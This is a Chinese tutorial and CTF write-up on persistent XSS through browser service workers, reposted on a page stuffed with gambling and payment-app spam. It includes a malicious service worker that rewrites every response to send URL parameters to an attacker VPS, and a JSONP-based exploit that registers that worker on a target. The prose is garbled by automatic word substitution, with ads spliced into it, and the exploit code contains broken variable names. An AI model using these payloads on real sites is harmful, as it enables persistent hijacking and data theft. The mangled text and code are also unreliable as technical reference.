持久化XSS基础 —— xss with service worker

浏览器模子知识

多历程与多线程

浏览器的多历程

以chrome为代表的主流浏览器都是使用多历程的模子,主要有五种历程

电银付(dianyinzhifu.com):持久化xss基础 安全技术 WEB安全 第1张

  • Browser Process: 浏览器主历程,卖力主控和挪用,建立和销毁其他历程。
  • GPU Process: 主要卖力GPU相关操作。
  • Renderer Process: 每建立一个tab页就会开启一个Renderer Process 卖力对应的tab页的内部网页出现的所有,比如说页面渲染,事宜执行,剧本执行。这个历程是多线程的。它就是常说的浏览器内核
  • Plugin Process: 启用一个插件就会建立一个对应的历程。

电银付(dianyinzhifu.com):持久化xss基础 安全技术 WEB安全 第2张

浏览器的多线程

Renderer Process是浏览器为每一个tab页单独启用的历程,以是每一个Renderer Process 都市有自力的渲染引擎实例。一般来说一个tab下会有如下五个线程

电银付(dianyinzhifu.com):持久化xss基础 安全技术 WEB安全 第3张

  • CUI线程: 这个线程卖力渲染页面的html元素,它再重绘和重排的时刻会执行。这个线程和 *** 引擎线程互斥。

HTML渲染大致分为如下几步:

  1. HTML被HTML剖析器剖析成DOM Tree, css则被css剖析器剖析成CSSOM Tree。
  2. DOM Tree和CSSOM Tree剖析完成后,被附加到一起,形成渲染树(Render Tree)。
  3. 节点信息盘算(重排),这个历程被叫做Layout(Webkit)或者Reflow(Mozilla)。即凭据渲染树盘算每个节点的几何信息。
  4. 渲染绘制(重绘),这个历程被叫做(Painting 或者 Repaint)。即凭据盘算好的信息绘制整个页面。

以上4步简述浏览器的一次渲染历程,理论上,每一次的dom更改或者css几何属性更改,都市引起一次浏览器的重排/重绘历程,而若是是css的非几何属性更改,则只会引起重绘历程。以是说重排一定会引起重绘,而重绘不一定会引起重排。

  • *** 引擎线程(chrome的V8): *** 内核,在后台守候义务,卖力剖析运行 *** 代码,在一个 Renderer 历程之中同时只能有一个 *** 线程。( *** 的单线程性)
  • 准时触发线程:setTimeout和setInterval的计时器线程,由于 *** 的单线程性,以是设计成又单独的线程计时。
  • 事宜触发线程:卖力将浏览器和其他线程触发的相符要求的事宜添加到 *** 引擎行列的末尾,守候 *** 引擎执行。
  • 异步请求线程:在XMLHttpRequest在毗邻后是通过浏览器新开一个线程请求, 将检测到状态调换时,若是设置有回调函数,异步线程就发生状态调换事宜放到 JavaScript引擎的处置行列中守候处置。

关于 *** 单线程的解决

为了多核CPU的盘算能力,HTML5提出Web Worker尺度,允许JavaScript剧本建立多个线程,然则子线程完全受主线程控制,且不得操作DOM。以是,这个新尺度并没有改变JavaScript单线程的本质。

web workers

web workers的观点

Web Worker为Web内容在后台线程中运行剧本提供了一种简朴的方式。线程可以执行义务而不滋扰用户界面。一旦建立, 一个worker 可以将新闻发送到建立它的JavaScript代码, 通过将新闻公布到该代码指定的事宜处置程序(反之亦然)。

web workers的用法

使用组织函数可以建立一个worker工具,组织函数接受一个JavaScript文件的URL,这个文件就是将要在worker线程中运行的代码。值得注意的是worker将会运行在与页面window工具完全差别的全局上下文中。

在worker线程中你可以运行大部分代码,然则有一些破例:

  • DOM工具
  • window工具的某些属性和方式
  • documen工具
  • parent工具

详细的信息可以参考:Functions and classes available to Web Workers

特殊种类的web workers

  • shared workers:可以被差别窗口的对各剧本运行,只要这些workers处于同一个主域。详细的用法会在之后的博文先容

  • service workers :般作为web应用程序、浏览器和 *** (若是可用)之间的署理服务。他们旨在(除开其他方面)建立有用的离线体验,阻挡 *** 请求,以及凭据 *** 是否可用接纳合适的行动,更新驻留在服务器上的资源。他们还将允许接见推送通知和后台同步API。

    从 *** 平安的角度看,此woekers可以被行使成一个持久化XSS的工具。

service worker 的简介

service worker的观点

Service worker是一个注册在指定源和路径下的事宜驱动worker。它接纳JavaScript控制关联的页面或者网站,阻挡并修改接见和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是 *** 不可用)下的显示。

Service worker运行在worker上下文,因此它不能接见DOM。相对于驱动应用的主JavaScript线程,它运行在其他线程中,以是不会造成壅闭。它设计为完全异步,同步API(如XHR和localStorage)不能在service worker中使用。

出于平安考量,Service workers只能由HTTPS(出于调试利便,还支持在localhost使用),究竟修改 *** 请求的能力露出给中间人攻击会异常危险。在Firefox浏览器的用户隐私模式,Service Worker不可用。

官方文档

1、只能注册同源下的js

2、站内必须支持Secure Context,也就是站内必须是https://或者http://localhost/

3、Content-Type必须是js

  • text/javascript
  • application/x-javascript
  • application/javascript

总之service worker就是一个介于服务端和客户端的一个 署理服务器。

service worker的基本架构

生命周期

service worker是通过serviceWorkerContainer.register() 来获取和注册的

,

Allbet Gmaing *** ALLbet6.com

欢迎进入Allbet Gmaing *** (Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe *** 、Allbet电脑客户端、Allbet手机版下载等业务。

,

电银付(dianyinzhifu.com):持久化xss基础 安全技术 WEB安全 第4张

关于Promise

Promise 工具用于示意一个异步操作的最终完成 (或失败)及其效果值。其精髓是支持链式挪用。

一定是以下三种状态之一

  • 待定(pending): 初始状态,既没有被兑现,也没有被拒绝。
  • 已兑现(fulfilled): 意味着操作乐成完成。
  • 已拒绝(rejected): 意味着操作失败。

整个生命流程大致为下面的的几个步骤:

电银付(dianyinzhifu.com):持久化xss基础 安全技术 WEB安全 第5张

支持的事宜

电银付(dianyinzhifu.com):持久化xss基础 安全技术 WEB安全 第6张

service worker的作用域

  • service worker 只能抓取在 service worker scope 里从客户端发出的请求。
  • 更大的 scope 是 service worker 所在的地址
  • 若是你的 service worker 被激活在一个有 Service-Worker-Allowed header 的客户端,你可以为service worker 指定一个更大的 scope 的列表。
  • 在 Firefox, Service Worker APIs 在用户在 用户隐私模式 下会被隐藏而且无法使用。

整个service worker的作用域默认是service woker 注册的剧本的路径。这个作用也可以使用跨域的方式扩展。

service worker控制页面返回响应

fetch事宜

使用ServiceWorker手艺时,页面的提取动作会在ServiceWorker作用域(ServiceWorkerGlobalScope)中触发fetch事宜.

service worker可以监听fetch事宜来到达窜改返回,对页面嵌入恶意的srcipt剧本。

几个函数
  • WorkerGlobalScope.addEventListener(type,listener,option)

    电银付(dianyinzhifu.com):持久化xss基础 安全技术 WEB安全 第7张

  • event.respondwith(任何自定义的响应天生代码)

    这个方式的目的是包裹段可以天生、返回response工具的代码,来控制响应。

  • Response(body,init)

//这个剧本可以将service worker作用域下的所有请求的url参数打到我的vps上。
//固然你也可以通过返回其他的东西来到达其他的目的。

self.addEventListener('install',function(event){
    console.log('install ok!');
})
self.addEventListener('fetch',function(event){
    console.log(event.request);
    event.respondWith(
    caches.match(event.request).then(function(res){
        return new Response('<script>location="http://IP?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }})
    })
    )
})

service worker的简朴行使

*** ONP+service worker

经由的先容,知道了service worker只能使用同源的剧本注册,那么熟悉xss的师傅就很容易想到通过跨域来实现注册恶意剧本,那么 *** ONP就是一个好的搭配,由于jsonp的返回值都是js花样的,十分相符service worker的要求。

西湖论剑2020的 jsonp

//这段代码最终的效果就是在页面上天生一个
// <script src="https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=输入的参数"></script>
//标签

callback = "get_user_login_status";
auto_reg_var();//获取url参数
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
    jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
    if(result['status']){
        location.href = jump_url;
    }
})
function jsonp(url, success) {
    var script = document.createElement("script");
    if(url.indexOf("callback") < 0){
        var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
        url = url + "?" + "callback=" + funName;
    }else{
        var funName = callback;
    }
    window[funName] = function(data) {
        success(data);
        delete window[funName];
        document.body.removeChild(script);
    }
    script.src = url;
    document.body.appendChild(script);
}
function auto_reg_var(){
    var search = location.search.slice(1);
    var search_arr = search.split('&');
    for(var i = 0;i < search_arr.length; i++){
        [key,value] = search_arr[i].split("=");
        window[key] = value;
    }
}

文件上传+service worker

若是有文件上传的点,可以实验上传恶意js剧本,一般来说上传的js代码也是js花样的。

service worker综合跨域扩展攻击

西湖论剑2020xss

在这个环境内里,有两个域名auth.hardxss.xhlj.wetolink.comxss.hardxss.xhlj.wetolink.com

jsop的点在 auth 子域名内里,xss的点在 xss 子域名内里,并且在xss页面有一个设置document.domian=hardxss.xhlj.wetolink.com

的内容。

<script type="text/javascript">
    document.domain = "hardxss.xhlj.wetolink.com";
</script>

我们就可以实验使用设置doucment.domain的方式来执行

document.domain = "hardxss.xhlj.wetolink.com";
var if = document.createElement('iframe');
if.src = 'https://auth.hardxss.xhlj.wetolink.com/';
if.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(if);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('vps/test.js')")`;//获取代码,要求https
function iffLoadover(){
    iff.contentWindow.eval(exp);//注册代码
}

test.js

self.addEventListener('install',function(event){
    console.log('install ok!');
})
self.addEventListener('fetch',function(event){
    console.log(event.request);
    event.respondWith(
    caches.match(event.request).then(function(res){
        return new Response('<script>location="http://IP?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }})
    })
    )
})


Allbet Gaming声明:该文看法仅代表作者自己,与本平台无关。转载请注明:电银付(dianyinzhifu.com):持久化xss基础
发布评论

分享到:

usdt不用实名买卖(www.caibao.it):B.T.O.D.揪郭书瑶尬舞 曝缅甸华侨身份政变超忧郁
5 条回复
  1. 欧博在线官网
    欧博在线官网
    (2020-12-26 00:03:06) 1#

    电银付APP安装教程(dianyinzhifu.com)是官方网上推广平台。在线自动销售电银付激活码、电银付POS机。提供电银付安装教程、电银付使用教程、电银付APP使用教程、电银付APP安装教程、电银付APP下载等技术支持。面对全国推广电银付加盟、电银付大盟主、电银付小盟主业务。这个不差的

    1. 以太坊开奖网
      以太坊开奖网
      (2021-01-13 23:32:33)     

      电银付官网(dianyinzhifu.com)是官方网上推广平台。在线自动销售电银付激活码、电银付POS机。提供电银付安装教程、电银付使用教程、电银付APP使用教程、电银付APP安装教程、电银付APP下载等技术支持。面对全国推广电银付加盟、电银付大盟主、电银付小盟主业务。我转手就是一个赞

  2. USDT币游
    USDT币游
    (2020-12-30 00:04:26) 2#

    www.allbetgame.uswww.sunbet.us欢迎进入欧博平台网站(www.allbetgaming.net),www.allbetgaming.net开放欧博平台网址、欧博注册、欧博APP下载、欧博客户端下载、欧博游戏等业务。一定持续创作啊

  3. ABG视讯
    ABG视讯
    (2021-01-20 00:03:15) 3#

    凭据通告,停止2020年6月30日,OK便利店发生的除税后溢利为7,600万元,而去年整年则为1.74亿元,同比跌幅约为14%左右。该下跌也反映了香港零售业正面临隆冬。 反正我跪了

  4. UG环球
    UG环球
    (2021-02-26 00:25:47) 4#

    欧博Allbet欢迎进入欧博Allbet官网(Allbet Game):www.allbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。满满的诚意呀

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。